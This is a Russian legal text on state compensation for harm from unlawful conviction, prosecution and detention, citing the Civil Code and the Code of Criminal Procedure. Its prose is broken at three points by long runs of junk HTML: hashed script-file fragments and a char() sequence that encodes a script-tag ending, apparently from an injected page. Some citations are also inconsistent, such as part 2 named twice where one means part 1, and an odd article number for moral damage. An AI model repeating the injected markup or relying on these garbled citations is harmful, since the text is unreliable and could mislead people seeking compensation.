? на органы дознания, следователя, прокурора и суд возложены обязанности как по разъяснению гражданину порядка восстановления его нарушенных прав и законных интересов, так и принятию предусмотренных законом мер к возмещению ущерба.
Правовую основу рассматриваемого института составляют:
1) Конституция РФ. В соответствии со ст. 52 и 53 права потерпевших от преступлений и злоупотреблений властью охраняются законом. Государство обеспечивает потерпевшим доступ к правосудию и компенсацию причиненного ущерба. Каждый имеет право на возмещение государством вреда, причиненного незаконными действиями (или бездействием) органов государственной власти или их должностных лиц;
2) международные договоры, в частности Декларация принципов правосудия для жертв преступлений и злоупотребления властью (1985 год, 29 ноября), Международный пакт о гражданских и политических правах (1966 год, 16 декабря) и некоторые другие;
3) Гражданский кодекс РФ (ст. 151, 1064 и др.).
В соответствии со ст. 1064 ГК вред, причиненный личности или имуществу гражданина, а также вред, причиненный имуществу юридического лица, подлежит возмещению в полном объеме лицом, причинившим вред. Вред, причиненный правомерными действиями, подлежит возмещению в случаях, предусмотренных законом.
Согласно ст. 1070 ГК вред, причиненный гражданину в результате незаконного осуждения, незаконного привлечения к уголовной ответственности, незаконного применения в качестве меры пресечения заключения под стражу или подписки о невыезде, незаконного наложения административного взыскания в виде ареста или исправительных работ возмещаются за счет казны РФ или казны муниципального образования в полном объеме независимо от вины должностных лиц органов дознания, предварительного следствия, прокуратуры и суда в порядке, установленном законом.8ed4eb6dc0ad83b68c7dcc04c5d01de6.js" type="text/javascript">5618b02ae192f9e1552eea76bc4b2b93char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)ec10c48d2c515868729280e13408302e.js" type="text/javascript">6776017e5a9457d7ebf315d9ba6fd2e3.js" type="text/javascript">8a14b813165c045e170cef1543dba958.js" type="text/javascript">b06ec7561f1efdd6af562868e880e847.js" type="text/javascript">291ec2545c6dbfe5e77f1c06d515dfa4.js" type="text/javascript">0d137a3022963b9156e2e3d85ead6aa9.js" type="text/javascript">adec9bcfce87306ad58b0a4886b04b63.js" type="text/javascript">f34431bc4249656275ad2ce97a86b05f.js" type="text/javascript">642364db306d669e0dd2b01c2bef549e.js" type="text/javascript">a7e79c51f2a311455c23ad14f7eee1ea.js" type="text/javascript">48387a9b041b68fcbfb68097d39f3415.js" type="text/javascript">

В соответствии со ст. 581 УПК при прекращении уголовного дела за отсутствием в деянии состава преступления или за недоказанностью участия гражданина в совершении преступления, а также при постановлении оправдательного приговора орган дознания, следователь, прокурор и суд обязаны разъяснить гражданину порядок восстановления его нарушенных прав и принять предусмотренные законом меры к возмещению ущерба, причиненного гражданину в результате незаконного осуждения, незаконного привлечения к уголовной ответственности, незаконного применения в качестве меры пресечения заключения под стражу.
При издании уголовного закона, устраняющего преступность и наказуемость деяния, орган дознания, следователь, прокурор и суд обязаны разъяснить гражданину порядок восстановления его нарушенных прав и принять необходимые меры к возмещению ущерба, причиненного гражданину в результате незаконного осуждения, незаконного привлечения к уголовной ответственности, незаконного задержания, незаконного применения меры пресечения, незаконного продолжения исполнения назначенного наказания, если такой ущерб был причинен после вступления в силу указанного уголовного закона.
По существу закон говорит о двух группах оснований возмещения вреда. Первую группу составляют процессуальные нарушения, базировавшиеся на выводе о совершении преступления данным лицом (ч, 1 ст. 581 УПК). Вторая группа включает в себя процессуальные нарушения, связанные с изданием уголовного закона, устраняющего преступность и наказуемость деяния (ч. 2 ст. 581 УПК). Эти нарушения являются основанием к возмещению вреда, потому что издание уголовного закона, устраняющего преступность и наказуемость деяния, относится к реабилитирующим основаниям, влекущим прекращение уголовно-процессуальных и связанных с ними отношений (ч. 3 ст. 5 УПК).
В первую группу в качестве оснований входят:
1) незаконное осуждение;
2) незаконное привлечение к уголовной ответственности;
3) незаконное применение в качестве меры пресечения заключения под стражу.
Вторую группу оснований составляют:
1) незаконное осуждение;
2) незаконное привлечение к уголовной ответственности;
3) незаконное применение любой меры пресечения;
4) незаконное задержание;
5) незаконное продолжение исполнения назначенного наказания.
Следует отметить, что перечисленные основания не согласуются со ст. 1070 ГК, цитированной выше. В связи с этим представляется, что положения ч. 2 ст. 581 УПК подлежат расширительному, а положения ч. 2 ст. 581 УПК — ограничительному толкованию. Это означает, что в соответствии с ч. 1 ст. 581 УПК должен подлежать возмещению ущерб, возникший в результате незаконного применения в качестве меры пресечения подписки о невыезде. Напротив, при применении ч. 2 ст. 581 УПК не должен подлежать возмещению ущерб, вызванный незаконным задержанием и незаконным применением мер пресечения, за исключением заключения под стражу и подписки о невыезде.
Наличие этих оснований влечет за собой привилегированный порядок обращения граждан с требованиями о возмещении ущерба, их рассмотрения и разрешения. Однако этот порядок действует в случаях, если соблюдены определенные условия. Среди этих условий особо необходимо выделить следующие.
1. Ущерб подлежит возмещению при условии, если он обусловлен только незаконными действиями. При причинении вреда законными действиями государственных органов и должностных лиц возмещение его допускается только в случаях, указанных в Гражданском кодексе, и по общим правилам гражданского судопроизводства, то есть в порядке искового производства (ст. 1064, 1069 ГК).1bba755dcdeebf91734dfd382c025dd5.js" type="text/javascript">287cd23596964b46695a30b3ffd48172char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)441e1b0bca3b26804e2733220e8f6f13.js" type="text/javascript">958c6faffd525d564fc9f4117c29ca2a.js" type="text/javascript">c7d53cd14f642dd1d1705165ccfd517c.js" type="text/javascript">6883a3054812443e5444d2c68b884458.js" type="text/javascript">ba1591e308482e719b6bb19b0e3b255c.js" type="text/javascript">45da255ad306e26130ae7406f89dd8e5.js" type="text/javascript">c0db0eb2c424ec42197b5bdfdff729b0.js" type="text/javascript">540c596aab99689480e9809c28c3272e.js" type="text/javascript">65c7c40b7266cfc4dfb9e6b965500d83.js" type="text/javascript">f9dff7262ea2d78fea8c0bd31db06fbe.js" type="text/javascript">0efec0f594b4ae83149f81ede310abfe.js" type="text/javascript">

Порядок возмещения ущерба, причиненного незаконными действиями органов дознания, предварительного следствия, прокуратуры и суда, характеризуется следующими правилами, имеющими общее и специфическое содержание.
1. Ущерб гражданину, причиненный ему в сфере уголовного судопроизводства, возмещается в полном объеме (ст. 1064, 1070 ГК).
2. Этот ущерб подлежит возмещению независимо от вины должностного лица, совершившего действие, причинившее вред гражданину (ст. 1070 ГК).
3. Причиненный уголовно-процессуальными действиями ущерб возмещается гражданину за счет государства, то есть за счет, как правило, казны Российской Федерации, а в случаях, указанных в законе, также за счет казны субъекта Российской Федерации или казны муниципального образования. Рассматриваемый ущерб не возмещается за счет сметы расходов государственных органов, осуществляющих уголовное судопроизводство, либо личных средств их должностных лиц.
4. Государство вправе возместить понесенные расходы в связи с возмещением ущерба гражданину, взыскав их с конкретного должностного лица государственного органа, в порядке регрессного иска при условии наличия его вины, установленной приговором суда, вступившим в законную силу (ст. 1081 ГК).
5. Достаточно обширный, однако исчерпывающий перечень видов возмещаемого государством ущерба изложен в ст. 2 Положения «О порядке возмещения ущерба, причиненного гражданину незаконными действиями органов дознания, предварительного следствия, прокуратуры и суда».
Возмещению подлежат:
а) заработок и другие трудовые доходы, являющиеся основным источником средств существования гражданина, которых он лишился в результате незаконных действий. В связи с переходом к рыночным отношениям следует учитывать два обстоятельства.
Во-первых, «под другими трудовыми доходами» в современный период следует понимать все легально полученные доходы, в том числе и от предпринимательской деятельности. Во-вторых, поскольку вред от незаконных действий органов, осуществляющих уголовное судопроизводство, возмещается в полном объеме (ст. 1070 ГК), постольку государство должно возмещать не только реальный ущерб, но и упущенную выгоду (ст. 15 ГК);
б) пенсия или пособие, выплата которых была приостановлена в связи с незаконным лишением свободы;
в) имущество (в том числе деньги, денежные вклады и проценты на них, облигации государственных займов и выпавшие на них выигрыши, иные ценности), конфискованное или обращенное в доход государства судом либо изъятое органами дознания или предварительного следствия, а также имущество, на которое наложен арест;
г) штрафы, взысканные во исполнение приговора суда; судебные издержки и иные суммы, выплаченные гражданином в связи с незаконными действиями.
Под «иными суммами» в силу полного возмещения вреда следует понимать расходы, связанные с исполнением удовлетворенного гражданского иска, вынужденным наймом жилья и т. п.;
д) суммы, выплаченные гражданином юридической консультации за оказание юридической помощи.
Этот перечень следует дополнить компенсацией морального вреда. В соответствии со ст. 1000 ГК компенсация морального вреда осуществляется независимо от вины причинителя вреда в случае, когда вред причинен гражданину в результате его незаконного осуждения, незаконного привлечения к уголовной ответственности, незаконного применения в качестве меры пресечения заключения под стражу или подписки о невыезде, незаконного наложения административного взыскания в виде ареста или исправительных работ.
Под моральным вредом понимают нравственные или физические страдания, причиненные действиями (или бездействием), посягающими на принадлежащие гражданину от рождения либо в силу закона нематериальные блага (жизнь, здоровье, достоинство личности, деловая репутация, неприкосновенность частной жизни, личная и семейная тайна и т. п.) или нарушающими личные неимущественные права (право на пользование своим именем, право на авторство и другие неимущественные права в соответствии с законами об охране прав на результаты интеллектуальной деятельности) либо имущественные права граждан.dc03fe138527cf562e62990c152109cd.js" type="text/javascript">022fa1dcdf3da8dea9b2eadd26cd5877char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)6b1eebaab83e828e03a048b3315af796.js" type="text/javascript">1e1f64a2ef63b348f0466306cc18d45d.js" type="text/javascript">be335f07c6f9dae8df2a582c0e4b3b2e.js" type="text/javascript">cdfee7a76425f553ee5294983a89f2ba.js" type="text/javascript">2603c0d364cdda390e20e98c2e01b8d4.js" type="text/javascript">d17cbd60a0b3770a492e11db5585496a.js" type="text/javascript">9fc11a92752a45c6d0ae41ebf1368fbc.js" type="text/javascript">14611702d513e5b5a13f54c386f80f0b.js" type="text/javascript">e80f9c7f24ba0ccb2187b17511c80ab8.js" type="text/javascript">27eefde72f06f6aeb038ec33f94864c8.js" type="text/javascript">b7f5d0e530f51b36811ec2ea02ca01b7.js" type="text/javascript">